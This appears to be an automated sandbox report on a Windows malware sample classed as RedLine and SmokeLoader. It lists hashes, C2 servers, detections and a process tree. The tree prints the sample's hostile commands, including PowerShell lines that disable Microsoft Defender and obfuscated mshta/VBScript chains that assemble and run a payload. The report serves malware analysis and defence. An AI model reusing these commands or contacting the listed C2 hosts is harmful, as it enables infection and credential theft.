redline | 31e01879dfaafe473840c755dedc6390305167a580e24c64d80315731ac6bc4f

Analysis

max time kernel
36s
max time network
182s
platform
windows7_x64
resource
win7-en-20211104
submitted
08-11-2021 10:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

500e7e5c009d6087e16c49251fe574108267633fa8a0a72b489e07a7056ae644.exe
Size

3.4MB
MD5

e635ed70bbc424514a872445893b1574
SHA1

97b3796c29853ef58955a1e06c5e6b1f02a0dd7e
SHA256

500e7e5c009d6087e16c49251fe574108267633fa8a0a72b489e07a7056ae644
SHA512

cded0958181fcb4c36b1aaccff193590eba0c6d92e8c4e0e089d7560cf79947112d6ef64550bdff2eb77ee2e089e8f8b79465dfb4b2f100fe7515209e0b03b0b

Score

10^/10

redline smokeloader fucker2 media18 aspackv2 backdoor infostealer suricata trojan

Malware Config

Extracted

Family

smokeloader

Version

2020

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32

Extracted

Family

redline

Botnet

fucker2

135.181.129.119:4805

Extracted

Family

redline

Botnet

media18

91.121.67.60:2151

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2752	2428	rundll32.exe	72

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 5 IoCs

resource	yara_rule
behavioral15/memory/2404-242-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral15/memory/2404-244-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral15/memory/2404-247-0x000000000041B23E-mapping.dmp	family_redline
behavioral15/memory/2396-243-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral15/memory/2396-250-0x000000000041B23E-mapping.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral15/files/0x0005000000012625-71.dat	aspack_v212_v242
behavioral15/files/0x0005000000012625-72.dat	aspack_v212_v242
behavioral15/files/0x000500000001261d-73.dat	aspack_v212_v242
behavioral15/files/0x000500000001261d-74.dat	aspack_v212_v242
behavioral15/files/0x0005000000012643-77.dat	aspack_v212_v242
behavioral15/files/0x0005000000012643-78.dat	aspack_v212_v242

Executes dropped EXE 12 IoCs

pid	Process
1472	setup_installer.exe
696	setup_install.exe
1116	Wed067ba5199af5f.exe
872	Wed067fa7edd4b875a.exe
1612	Wed068cfd71e196da.exe
780	Wed068a6c101a0e81.exe
1828	Wed062a0488e6dd1.exe
1648	Wed06384ea2548.exe
1488	Wed062272ee8a02b1746.exe
1492	Wed06dffacb42ccf1c.exe
1944	Wed0639114ac9fa.exe
1684	Wed067fa7edd4b875a.tmp

Loads dropped DLL 44 IoCs

pid	Process
472	500e7e5c009d6087e16c49251fe574108267633fa8a0a72b489e07a7056ae644.exe
1472	setup_installer.exe
1472	setup_installer.exe
1472	setup_installer.exe
1472	setup_installer.exe
1472	setup_installer.exe
1472	setup_installer.exe
696	setup_install.exe
696	setup_install.exe
696	setup_install.exe
696	setup_install.exe
696	setup_install.exe
696	setup_install.exe
696	setup_install.exe
696	setup_install.exe
1664	cmd.exe
1664	cmd.exe
928	cmd.exe
1752	cmd.exe
628	cmd.exe
628	cmd.exe
872	Wed067fa7edd4b875a.exe
872	Wed067fa7edd4b875a.exe
1116	Wed067ba5199af5f.exe
1116	Wed067ba5199af5f.exe
1612	Wed068cfd71e196da.exe
1612	Wed068cfd71e196da.exe
780	Wed068a6c101a0e81.exe
780	Wed068a6c101a0e81.exe
956	cmd.exe
1984	cmd.exe
1816	cmd.exe
1880	cmd.exe
1880	cmd.exe
1800	cmd.exe
1488	Wed062272ee8a02b1746.exe
1488	Wed062272ee8a02b1746.exe
1492	Wed06dffacb42ccf1c.exe
1492	Wed06dffacb42ccf1c.exe
1944	Wed0639114ac9fa.exe
1944	Wed0639114ac9fa.exe
872	Wed067fa7edd4b875a.exe
1684	Wed067fa7edd4b875a.tmp
1684	Wed067fa7edd4b875a.tmp

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ip-api.com
27	ipinfo.io
28	ipinfo.io

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1952	696	WerFault.exe	29

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Wed06dffacb42ccf1c.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Wed06dffacb42ccf1c.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Wed06dffacb42ccf1c.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2196	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1492	Wed06dffacb42ccf1c.exe
1492	Wed06dffacb42ccf1c.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 472 wrote to memory of 1472	472	500e7e5c009d6087e16c49251fe574108267633fa8a0a72b489e07a7056ae644.exe	28
PID 472 wrote to memory of 1472	472	500e7e5c009d6087e16c49251fe574108267633fa8a0a72b489e07a7056ae644.exe	28
PID 472 wrote to memory of 1472	472	500e7e5c009d6087e16c49251fe574108267633fa8a0a72b489e07a7056ae644.exe	28
PID 472 wrote to memory of 1472	472	500e7e5c009d6087e16c49251fe574108267633fa8a0a72b489e07a7056ae644.exe	28
PID 472 wrote to memory of 1472	472	500e7e5c009d6087e16c49251fe574108267633fa8a0a72b489e07a7056ae644.exe	28
PID 472 wrote to memory of 1472	472	500e7e5c009d6087e16c49251fe574108267633fa8a0a72b489e07a7056ae644.exe	28
PID 472 wrote to memory of 1472	472	500e7e5c009d6087e16c49251fe574108267633fa8a0a72b489e07a7056ae644.exe	28
PID 1472 wrote to memory of 696	1472	setup_installer.exe	29
PID 1472 wrote to memory of 696	1472	setup_installer.exe	29
PID 1472 wrote to memory of 696	1472	setup_installer.exe	29
PID 1472 wrote to memory of 696	1472	setup_installer.exe	29
PID 1472 wrote to memory of 696	1472	setup_installer.exe	29
PID 1472 wrote to memory of 696	1472	setup_installer.exe	29
PID 1472 wrote to memory of 696	1472	setup_installer.exe	29
PID 696 wrote to memory of 1000	696	setup_install.exe	31
PID 696 wrote to memory of 1000	696	setup_install.exe	31
PID 696 wrote to memory of 1000	696	setup_install.exe	31
PID 696 wrote to memory of 1000	696	setup_install.exe	31
PID 696 wrote to memory of 1000	696	setup_install.exe	31
PID 696 wrote to memory of 1000	696	setup_install.exe	31
PID 696 wrote to memory of 1000	696	setup_install.exe	31
PID 696 wrote to memory of 1624	696	setup_install.exe	32
PID 696 wrote to memory of 1624	696	setup_install.exe	32
PID 696 wrote to memory of 1624	696	setup_install.exe	32
PID 696 wrote to memory of 1624	696	setup_install.exe	32
PID 696 wrote to memory of 1624	696	setup_install.exe	32
PID 696 wrote to memory of 1624	696	setup_install.exe	32
PID 696 wrote to memory of 1624	696	setup_install.exe	32
PID 696 wrote to memory of 1664	696	setup_install.exe	33
PID 696 wrote to memory of 1664	696	setup_install.exe	33
PID 696 wrote to memory of 1664	696	setup_install.exe	33
PID 696 wrote to memory of 1664	696	setup_install.exe	33
PID 696 wrote to memory of 1664	696	setup_install.exe	33
PID 696 wrote to memory of 1664	696	setup_install.exe	33
PID 696 wrote to memory of 1664	696	setup_install.exe	33
PID 696 wrote to memory of 928	696	setup_install.exe	34
PID 696 wrote to memory of 928	696	setup_install.exe	34
PID 696 wrote to memory of 928	696	setup_install.exe	34
PID 696 wrote to memory of 928	696	setup_install.exe	34
PID 696 wrote to memory of 928	696	setup_install.exe	34
PID 696 wrote to memory of 928	696	setup_install.exe	34
PID 696 wrote to memory of 928	696	setup_install.exe	34
PID 696 wrote to memory of 1716	696	setup_install.exe	35
PID 696 wrote to memory of 1716	696	setup_install.exe	35
PID 696 wrote to memory of 1716	696	setup_install.exe	35
PID 696 wrote to memory of 1716	696	setup_install.exe	35
PID 696 wrote to memory of 1716	696	setup_install.exe	35
PID 696 wrote to memory of 1716	696	setup_install.exe	35
PID 696 wrote to memory of 1716	696	setup_install.exe	35
PID 696 wrote to memory of 1800	696	setup_install.exe	55
PID 696 wrote to memory of 1800	696	setup_install.exe	55
PID 696 wrote to memory of 1800	696	setup_install.exe	55
PID 696 wrote to memory of 1800	696	setup_install.exe	55
PID 696 wrote to memory of 1800	696	setup_install.exe	55
PID 696 wrote to memory of 1800	696	setup_install.exe	55
PID 696 wrote to memory of 1800	696	setup_install.exe	55
PID 1624 wrote to memory of 1964	1624	cmd.exe	38
PID 1624 wrote to memory of 1964	1624	cmd.exe	38
PID 1624 wrote to memory of 1964	1624	cmd.exe	38
PID 1624 wrote to memory of 1964	1624	cmd.exe	38
PID 1624 wrote to memory of 1964	1624	cmd.exe	38
PID 1624 wrote to memory of 1964	1624	cmd.exe	38
PID 1624 wrote to memory of 1964	1624	cmd.exe	38
PID 696 wrote to memory of 1752	696	setup_install.exe	36

C:\Users\Admin\AppData\Local\Temp\500e7e5c009d6087e16c49251fe574108267633fa8a0a72b489e07a7056ae644.exe
"C:\Users\Admin\AppData\Local\Temp\500e7e5c009d6087e16c49251fe574108267633fa8a0a72b489e07a7056ae644.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:472
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1472
- - C:\Users\Admin\AppData\Local\Temp\7zS0C564646\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS0C564646\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:696
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
      4⤵
      PID:1000
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        
        PID:1672
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1624
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        
        PID:1964
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed067ba5199af5f.exe
      4⤵
      Loads dropped DLL
      PID:1664
    - - C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed067ba5199af5f.exe
        
        Wed067ba5199af5f.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1116
      - C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed067ba5199af5f.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed067ba5199af5f.exe
        6⤵
        
        PID:2396
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed067fa7edd4b875a.exe
      4⤵
      Loads dropped DLL
      PID:928
    - - C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed067fa7edd4b875a.exe
        
        Wed067fa7edd4b875a.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:872
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed06d8092a5ae.exe
      4⤵
      PID:1716
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed068cfd71e196da.exe
      4⤵
      Loads dropped DLL
      PID:1752
    - - C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed068cfd71e196da.exe
        
        Wed068cfd71e196da.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1612
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed068a6c101a0e81.exe
      4⤵
      Loads dropped DLL
      PID:628
    - - C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed068a6c101a0e81.exe
        
        Wed068a6c101a0e81.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:780
      - C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed068a6c101a0e81.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed068a6c101a0e81.exe
        6⤵
        
        PID:2404
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed062a0488e6dd1.exe
      4⤵
      Loads dropped DLL
      PID:1984
    - - C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed062a0488e6dd1.exe
        
        Wed062a0488e6dd1.exe
        5⤵
        Executes dropped EXE
        
        PID:1828
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed06384ea2548.exe
      4⤵
      Loads dropped DLL
      PID:956
    - - C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed06384ea2548.exe
        
        Wed06384ea2548.exe
        5⤵
        Executes dropped EXE
        
        PID:1648
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed062272ee8a02b1746.exe
      4⤵
      Loads dropped DLL
      PID:1816
    - - C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed062272ee8a02b1746.exe
        
        Wed062272ee8a02b1746.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1488
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBsCripT: CloSe ( crEAtEobJEct( "WSCrIpT.ShELl").RuN ("cmd.exe /c copy /Y ""C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed062272ee8a02b1746.exe"" 05XkvF6f.EXe && stArt 05XkVf6F.exe /PttJqbtIGV_gKpayWgLcpQuUGXL9h&IF """"=="""" for %m In ( ""C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed062272ee8a02b1746.exe"" ) do taskkill /F /im ""%~NXm"" " ,0,true ))
        6⤵
        
        PID:1176
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /Y "C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed062272ee8a02b1746.exe" 05XkvF6f.EXe&&stArt 05XkVf6F.exe /PttJqbtIGV_gKpayWgLcpQuUGXL9h&IF ""=="" for %m In ( "C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed062272ee8a02b1746.exe" ) do taskkill /F /im "%~NXm"
        7⤵
        
        PID:2100
        
        C:\Users\Admin\AppData\Local\Temp\05XkvF6f.EXe
        
        05XkVf6F.exe /PttJqbtIGV_gKpayWgLcpQuUGXL9h
        8⤵
        
        PID:2180
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBsCripT: CloSe ( crEAtEobJEct( "WSCrIpT.ShELl").RuN ("cmd.exe /c copy /Y ""C:\Users\Admin\AppData\Local\Temp\05XkvF6f.EXe"" 05XkvF6f.EXe && stArt 05XkVf6F.exe /PttJqbtIGV_gKpayWgLcpQuUGXL9h&IF ""/PttJqbtIGV_gKpayWgLcpQuUGXL9h""=="""" for %m In ( ""C:\Users\Admin\AppData\Local\Temp\05XkvF6f.EXe"" ) do taskkill /F /im ""%~NXm"" " ,0,true ))
        9⤵
        
        PID:2244
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /Y "C:\Users\Admin\AppData\Local\Temp\05XkvF6f.EXe" 05XkvF6f.EXe&&stArt 05XkVf6F.exe /PttJqbtIGV_gKpayWgLcpQuUGXL9h&IF "/PttJqbtIGV_gKpayWgLcpQuUGXL9h"=="" for %m In ( "C:\Users\Admin\AppData\Local\Temp\05XkvF6f.EXe" ) do taskkill /F /im "%~NXm"
        10⤵
        
        PID:2324
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBscrIpt: ClOse ( cReateobJecT( "wScriPT.shEll" ). Run("C:\Windows\system32\cmd.exe /q /C Echo | sEt /P = ""MZ"" >X5W6AA.ZS & CoPY /b /y X5w6AA.ZS+ ZSPELY.cNM + OJM3YR.X + SVnzW.C2 + AmtZY.zXT + LPME79O.f1 + NytFSko.4 m9WDKH25.n &STart msiexec -y .\M9WDkH25.n " ,0, TrUe))
        9⤵
        
        PID:2412
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /q /C Echo | sEt /P = "MZ" >X5W6AA.ZS & CoPY /b /y X5w6AA.ZS+ ZSPELY.cNM + OJM3YR.X+ SVnzW.C2+ AmtZY.zXT+ LPME79O.f1+ NytFSko.4 m9WDKH25.n &STart msiexec -y .\M9WDkH25.n
        10⤵
        
        PID:2508
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Echo "
        11⤵
        
        PID:2556
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" sEt /P = "MZ" 1>X5W6AA.ZS"
        11⤵
        
        PID:2572
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -y .\M9WDkH25.n
        11⤵
        
        PID:2592
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /im "Wed062272ee8a02b1746.exe"
        8⤵
        Kills process with taskkill
        
        PID:2196
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBscrIpt: ClOse ( cReateobJecT( "wScriPT.shEll" ). Run("C:\Windows\system32\cmd.exe /q /C Echo | sEt /P = ""MZ"" >X5W6AA.ZS & CoPY /b /y X5w6AA.ZS+ ZSPELY.cNM + OJM3YR.X + SVnzW.C2 + AmtZY.zXT + LPME79O.f1 + NytFSko.4 m9WDKH25.n &STart msiexec -y .\M9WDkH25.n " ,0, TrUe))
        6⤵
        
        PID:2928
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /q /C Echo | sEt /P = "MZ" >X5W6AA.ZS & CoPY /b /y X5w6AA.ZS+ ZSPELY.cNM + OJM3YR.X+ SVnzW.C2+ AmtZY.zXT+ LPME79O.f1+ NytFSko.4 m9WDKH25.n &STart msiexec -y .\M9WDkH25.n
        7⤵
        
        PID:3036
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Echo "
        8⤵
        
        PID:2088
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" sEt /P = "MZ" 1>X5W6AA.ZS"
        8⤵
        
        PID:2128
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -y .\M9WDkH25.n
        8⤵
        
        PID:2216
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed06dffacb42ccf1c.exe
      4⤵
      Loads dropped DLL
      PID:1880
    - - C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed06dffacb42ccf1c.exe
        
        Wed06dffacb42ccf1c.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:1492
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed0625413f2fb.exe
      4⤵
      PID:984
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Wed0639114ac9fa.exe
      4⤵
      Loads dropped DLL
      PID:1800
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 696 -s 460
      4⤵
      Program crash
      PID:1952

C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed0639114ac9fa.exe
Wed0639114ac9fa.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1944

C:\Users\Admin\AppData\Local\Temp\is-4MS65.tmp\Wed067fa7edd4b875a.tmp
"C:\Users\Admin\AppData\Local\Temp\is-4MS65.tmp\Wed067fa7edd4b875a.tmp" /SL5="$60016,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed067fa7edd4b875a.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1684
- C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed067fa7edd4b875a.exe
  "C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed067fa7edd4b875a.exe" /SILENT
  2⤵
  PID:1308
- - C:\Users\Admin\AppData\Local\Temp\is-DPS9E.tmp\Wed067fa7edd4b875a.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-DPS9E.tmp\Wed067fa7edd4b875a.tmp" /SL5="$D0158,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0C564646\Wed067fa7edd4b875a.exe" /SILENT
    3⤵
    PID:1172

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2752
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:2760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:2904

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/472-55-0x00000000760C1000-0x00000000760C3000-memory.dmp

Filesize
8KB

Download
memory/696-93-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/696-90-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/696-85-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/696-84-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/696-86-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/696-87-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/696-88-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/696-91-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/696-94-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/696-95-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/696-96-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/696-89-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/696-97-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/696-98-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/696-92-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/780-214-0x0000000004B50000-0x0000000004B51000-memory.dmp

Filesize
4KB

Download
memory/780-189-0x0000000000F50000-0x0000000000F51000-memory.dmp

Filesize
4KB

Download
memory/872-178-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/884-265-0x0000000000880000-0x00000000008CD000-memory.dmp

Filesize
308KB

Download
memory/884-266-0x0000000001860000-0x00000000018D2000-memory.dmp

Filesize
456KB

Download
memory/1116-211-0x0000000004A50000-0x0000000004A51000-memory.dmp

Filesize
4KB

Download
memory/1116-190-0x00000000009C0000-0x00000000009C1000-memory.dmp

Filesize
4KB

Download
memory/1172-209-0x0000000000260000-0x0000000000261000-memory.dmp

Filesize
4KB

Download
memory/1308-208-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/1396-210-0x0000000002640000-0x0000000002656000-memory.dmp

Filesize
88KB

Download
memory/1492-187-0x0000000000300000-0x0000000000310000-memory.dmp

Filesize
64KB

Download
memory/1492-196-0x0000000000400000-0x0000000002DAA000-memory.dmp

Filesize
41.7MB

Download
memory/1492-194-0x00000000001D0000-0x00000000001D9000-memory.dmp

Filesize
36KB

Download
memory/1672-213-0x0000000001FD0000-0x0000000002C1A000-memory.dmp

Filesize
12.3MB

Download
memory/1672-230-0x0000000001FD0000-0x0000000002C1A000-memory.dmp

Filesize
12.3MB

Download
memory/1672-257-0x0000000001FD0000-0x0000000002C1A000-memory.dmp

Filesize
12.3MB

Download
memory/1684-195-0x00000000003E0000-0x00000000003E1000-memory.dmp

Filesize
4KB

Download
memory/1828-229-0x000000001AD80000-0x000000001AD82000-memory.dmp

Filesize
8KB

Download
memory/1828-197-0x0000000001050000-0x0000000001051000-memory.dmp

Filesize
4KB

Download
memory/1944-261-0x0000000003FB0000-0x00000000040FC000-memory.dmp

Filesize
1.3MB

Download
memory/1952-218-0x0000000000660000-0x0000000000661000-memory.dmp

Filesize
4KB

Download
memory/1964-212-0x00000000020E0000-0x0000000002D2A000-memory.dmp

Filesize
12.3MB

Download
memory/1964-254-0x00000000020E0000-0x0000000002D2A000-memory.dmp

Filesize
12.3MB

Download
memory/2216-284-0x00000000024F0000-0x000000000259D000-memory.dmp

Filesize
692KB

Download
memory/2396-273-0x0000000004DF0000-0x0000000004DF1000-memory.dmp

Filesize
4KB

Download
memory/2396-243-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/2396-241-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/2404-240-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/2404-244-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/2404-242-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/2404-274-0x0000000000CC0000-0x0000000000CC1000-memory.dmp

Filesize
4KB

Download
memory/2404-238-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/2592-267-0x00000000025D0000-0x000000000267D000-memory.dmp

Filesize
692KB

Download
memory/2592-262-0x0000000001E00000-0x0000000001EAE000-memory.dmp

Filesize
696KB

Download
memory/2760-263-0x0000000001E80000-0x0000000001F81000-memory.dmp

Filesize
1.0MB

Download
memory/2760-264-0x0000000001C90000-0x0000000001CED000-memory.dmp

Filesize
372KB

Download
memory/2904-272-0x00000000004C0000-0x0000000000532000-memory.dmp

Filesize
456KB

Download
memory/2904-288-0x0000000000370000-0x000000000038B000-memory.dmp

Filesize
108KB

Download
memory/2904-289-0x0000000003290000-0x0000000003395000-memory.dmp

Filesize
1.0MB

Download